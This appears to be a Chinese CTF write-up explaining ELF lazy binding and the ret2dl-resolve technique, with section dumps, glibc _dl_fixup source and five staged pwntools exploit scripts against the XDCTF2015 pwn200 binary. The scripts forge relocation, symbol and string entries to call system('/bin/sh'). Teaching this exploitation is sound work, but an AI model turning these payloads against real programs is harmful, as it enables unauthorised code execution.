ret2dresolve 动态链接的底层原理利用
先介绍几个段
dynamic段,这个段里保存了动态链接器需要的最基本的信息,里面记录着其他段的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Dynamic section at offset 0xf28 contains 20 entries: 标记 类型 名称/值 0x00000001 (NEEDED) 共享库:[libc.so.6] 0x0000000c (INIT) 0x8048340 0x0000000d (FINI) 0x804861c 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x8048268 0x00000006 (SYMTAB) 0x80481d8 0x0000000a (STRSZ) 100 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x8049ff4 0x00000002 (PLTRELSZ) 40 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x8048318 0x00000011 (REL) 0x8048300 0x00000012 (RELSZ) 24 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x80482e0 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x80482cc 0x00000000 (NULL) 0x0
这个段里里记录着很段以及地址,里面我们这次要使用的段是JMPREL,即ret.plt,这个段叫做重定位表,是一个结构体数组,每个元素是一个重定位表项,一个结构体包含的内容如下
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; r_offset表示的是这个函数的got表的地址,r_info用于这个符号表的索引,至于怎么索引后面再继续说明。
我们可以查看一个程序的ret.plt段里记录的内容
1 2 3 4 5 6 7 8 重定位节 '.rel.plt' 位于偏移量 0x318 含有 5 个条目: 偏移量 信息 类型 符号值 符号名称 0804a000 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a00c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0 可以看见setbuf函数的重定位表项中,r_offset是0x0804a000,r_info是107,代表着setbuf函数的Got表的地址是0x0804a000
验证可知是对的。
然后是.dynsym段,包含了符号重定向表,和ret.plt一样是一个结构体数组,每个函数对应一个结构体,一个结构体包含的内容如下
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym; 里面有两个主要的变量,st_name记录着函数符号在符号表中的偏移,如果符号已经被导出,st_value记录着这个函数符号的虚拟地址。
ret.plt表和dynsym表是一一对应的,通过ret.plt表的r_info索引到dynsym表对应的表项,索引方式是这样的,比如说setbuf的r_info是107把他向右移动八位r_info>>8=1,dynsym是一个数组,setbuf对应的表项就是sym[1]即sym[r_info>>8]
1 2 3 4 5 6 7 8 9 10 11 12 Symbol table '.dynsym' contains 9 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2) 2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2) 3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 5: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) 6: 0804a040 4 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.0 (2) 7: 0804863c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used 8: 0804a020 4 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.0 (2) setbuf对应的下标是1,和上面的计算结果是一样的。
最后是符号表.dynstr,这个记录了函数符号,该段以\x00开始和结束,每个函数符号之间也用\x00隔开,这个表是用偏移量来寻找表项的,
我们可以验证自己上面的过程是不是对的,dynsym的st_name记录着对应偏移量,让程序运行,找到setbuf对应的st_name
1 2 3 4 5 6 7 pwndbg> x/16wx 0x080481d8 0x80481d8: 0x00000000 0x00000000 0x00000000 0x00000000 0x80481e8: 0x0000003b 0x00000000 0x00000000 0x00000012 0x80481f8: 0x0000002f 0x00000000 0x00000000 0x00000012 0x8048208: 0x00000001 0x00000000 0x00000000 0x00000020 一个dynsym的结构体的大小是4+4+4+1+1+2=16=0x10,一组0x10个字节是一个元素,d8是第一个元素对应下标为0,setbuf下标为1对应0x80481e8,可以看见 st_name=3b,dynstr的首地址是0x08048268,setbuf对应的符号表的表项是0x08048268+3b=0x080482a3
1 2 3 pwndbg> x/s 0x080482a3 0x80482a3: "setbuf" 索引成功
延迟绑定全过程 以pwn200的read举例(参考ayoung佬)
源码如下
1 2 3 4 5 6 7 ssize_t sub_8048484 () { char buf[108 ]; setbuf(stdin , buf); return read(0 , buf, 0x100 u); }
在read处下断点,然后gdb运行,指令跳转到plt表对应位置,然后根据plt表的指令跳转到plt表指定位置
显然plt表并未储存read函数的地址,而是先push8,然后有跳转到0x8048370,这个地址指向plt表首地址,继续跟进
plt表的首项储存着两条指令,程序push了0x8049ff8,这是什么值呢,我们看看段表
发现这是got表的第二项,然后第二行是got表的第三项的地址,这两条指令的意思就是把*(got+4)的地址入栈,然后程序跳到*(got+8)的位置
这个位置就是函数_dl_runtime_resolve的位置,也是这次漏洞利用的主角,以下就是他的源码,这个函数的主要作用就是途经ret.plt dynsym dynstr找到这个函数名的字符串,然后和动态库里储存的函数对比,找到相应函数地址,写到这个函数的got表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } ... result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); ... value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } ... return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
这个函数首先通过const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);找见函数对应的重定位表,
这个reloc_offset就是我们刚压入栈的reloc_arg,通过段首地址和reloc_arg提供的偏移量找到对应的重定位表,然后通过 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];函数的符号重定位表的地址
这里r_info的最后四位必须是7,然后再通过 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);找到函数的符号表对应的符号,最后猜测是动态库的函数和这个符号匹配,返回匹配成功的函数的偏移量,然后再加上基地址,得到函数的真实地址,把这个地址填入r_offset中(即对应的got表中)
复现 调用_dl_runtime_resolve函数时先压入两个参数,第一个参数是reloc_arg,就是通过这个参数找到函数的重定位表,我们可以控制这个参数,以达到控制_dl_runtime_resolve函数
第一步,先尝试控制reloc_arg,指向对应的ret.plt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context.log_level='debug' sh=process('./pwn200' ) elf=ELF('./pwn200' ) bss=elf.bss() lea_ret=0x08048481 read=elf.plt['read' ] stack_size=0x400 bss_base=bss+stack_size payload1='a' *0x6c +p32(bss_base)+p32(read)+p32(lea_ret)+p32(0 )+p32(bss_base)+p32(100 ) sh.recvuntil('Welcome to XDCTF2015~!\n' ) sh.sendline(payload1) plt_first=0x8048370 reloc_arg=0x20 binsh="bin/sh\x00" bin_addr=bss_base+80 payload2='a' *0x4 +p32(plt_first)+p32(reloc_arg)+p32(0 )+p32(1 )+p32(bin_addr)+p32(len (binsh)) payload2=payload2.ljust(80 ,'s' ) payload2=payload2+binsh sh.sendline(payload2) sh.interactive()
第二步,控制rreloc_arg,指向我们伪造的ret.plt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level='debug' sh=process('./pwn200' ) elf=ELF('./pwn200' ) bss=elf.bss() lea_ret=0x08048481 read=elf.plt['read' ] stack_size=0x400 bss_base=bss+stack_size payload1='a' *0x6c +p32(bss_base)+p32(read)+p32(lea_ret)+p32(0 )+p32(bss_base)+p32(100 ) sh.recvuntil('Welcome to XDCTF2015~!\n' ) sh.sendline(payload1) plt_first=0x8048370 binsh="bin/sh\x00" bin_addr=bss_base+80 ret_plt=0x08048318 fuckret_addr=bss_base+28 reloc_arg=fuckret_addr-ret_plt fuckret=p32(0x0804a010 )+p32(0x507 ) payload2='a' *0x4 +p32(plt_first)+p32(reloc_arg)+p32(0 )+p32(1 )+p32(bin_addr)+p32(len (binsh)) payload2=payload2+fuckret payload2=payload2.ljust(80 ,'s' ) payload2=payload2+binsh sh.sendline(payload2) sh.interactive()
第三步 伪造符号重定位表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context.log_level='debug' sh=process('./pwn200' ) elf=ELF('./pwn200' ) bss=elf.bss() lea_ret=0x08048481 read=elf.plt['read' ] stack_size=0x800 bss_base=bss+stack_size payload1='a' *0x6c +p32(bss_base)+p32(read)+p32(lea_ret)+p32(0 )+p32(bss_base)+p32(100 ) sh.recvuntil('Welcome to XDCTF2015~!\n' ) sh.sendline(payload1) plt_first=0x8048370 binsh="bin/sh\x00" bin_addr=bss_base+80 ret_plt=0x08048318 dynsym=0x080481d8 fuckret_addr=bss_base+28 reloc_arg=fuckret_addr-ret_plt fuckret=p32(0x0804a010 )+p32(0x507 ) fucksym_addr=bss_base+36 offset=0x10 -((fucksym_addr-dynsym)&0xf ) fucksym_addr=fucksym_addr+offset r_info=(fucksym_addr-dynsym)/0x10 r_info=(r_info << 8 ) | 0x7 fuckret=p32(0x0804a010 )+p32(r_info) st_name=0x54 fucksym=p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2='a' *0x4 +p32(plt_first)+p32(reloc_arg)+p32(0 )+p32(1 )+p32(bin_addr)+p32(len (binsh)) payload2=payload2+fuckret payload2+='a' *offset payload2+=fucksym payload2 = payload2.ljust(80 ,'D' ) payload2=payload2+binsh sh.sendline(payload2) sh.interactive()
本来stack是0x500,但是死活不回显数据,后来改成0x800才行,也不知道为啥,好怪,查这个地址还不存在
第四步 伪造符号表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level='debug' sh=process('./pwn200' ) elf=ELF('./pwn200' ) bss=elf.bss() print hex (bss)lea_ret=0x08048481 read=elf.plt['read' ] stack_size=0x800 bss_base=bss+stack_size payload1='a' *0x6c +p32(bss_base)+p32(read)+p32(lea_ret)+p32(0 )+p32(bss_base)+p32(100 ) sh.recvuntil('Welcome to XDCTF2015~!\n' ) sh.sendline(payload1) plt_first=0x8048370 binsh="bin/sh\x00" bin_addr=bss_base+80 ret_plt=0x08048318 dynsym=0x080481d8 fuckret_addr=bss_base+28 reloc_arg=fuckret_addr-ret_plt fuckret=p32(0x0804a010 )+p32(0x507 ) fucksym_addr=bss_base+36 offset=0x10 -((fucksym_addr-dynsym)&0xf ) fucksym_addr=fucksym_addr+offset r_info=(fucksym_addr-dynsym)/0x10 r_info=(r_info << 8 ) | 0x7 fuckret=p32(0x0804a010 )+p32(r_info) st_name=0x54 fuckstr_write=fucksym_addr+16 dynstr=0x08048268 st_name=fuckstr_write-dynstr fucksym=p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2='a' *0x4 +p32(plt_first)+p32(reloc_arg)+p32(0 )+p32(1 )+p32(bin_addr)+p32(len (binsh)) payload2=payload2+fuckret payload2+='a' *offset payload2+=fucksym+'write\x00' payload2 = payload2.ljust(80 ,'D' ) payload2=payload2+binsh sh.sendline(payload2) sh.interactive()
第五步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level='debug' sh=process('./pwn200' ) elf=ELF('./pwn200' ) bss=elf.bss() print hex (bss)lea_ret=0x08048481 read=elf.plt['read' ] stack_size=0x800 bss_base=bss+stack_size payload1='a' *0x6c +p32(bss_base)+p32(read)+p32(lea_ret)+p32(0 )+p32(bss_base)+p32(100 ) sh.recvuntil('Welcome to XDCTF2015~!\n' ) sh.sendline(payload1) plt_first=0x8048370 binsh="/bin/sh\x00" bin_addr=bss_base+80 ret_plt=0x08048318 dynsym=0x080481d8 fuckret_addr=bss_base+28 reloc_arg=fuckret_addr-ret_plt fuckret=p32(0x0804a010 )+p32(0x507 ) fucksym_addr=bss_base+36 offset=0x10 -((fucksym_addr-dynsym)&0xf ) fucksym_addr=fucksym_addr+offset r_info=(fucksym_addr-dynsym)/0x10 r_info=(r_info << 8 ) | 0x7 fuckret=p32(0x0804a010 )+p32(r_info) st_name=0x54 fuckstr_write=fucksym_addr+16 dynstr=0x08048268 st_name=fuckstr_write-dynstr fucksym=p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2='a' *0x4 +p32(plt_first)+p32(reloc_arg)+p32(0 )+p32(bin_addr)+"aaaaaaaa" payload2=payload2+fuckret payload2+='a' *offset payload2+=fucksym+'system\x00' payload2 = payload2.ljust(80 ,'D' ) payload2=payload2+binsh sh.sendline(payload2) sh.interactive()
刚开始参数是bin/sh,但是会报错,但改成/bin/sh就好了,后来问了mark佬才明白,system会把参数当成shell命令执行,在根目录寻找bin里有个sh程序能打开一个持续的shell窗口,system配合/bin/sh就能打开持续的Shell窗口,但是如果执行bin/sh,就会在当前目录里寻找bin目录,因为不存在所以报错,我猜之前一直执行的bin/sh是因为程序就在根目录上。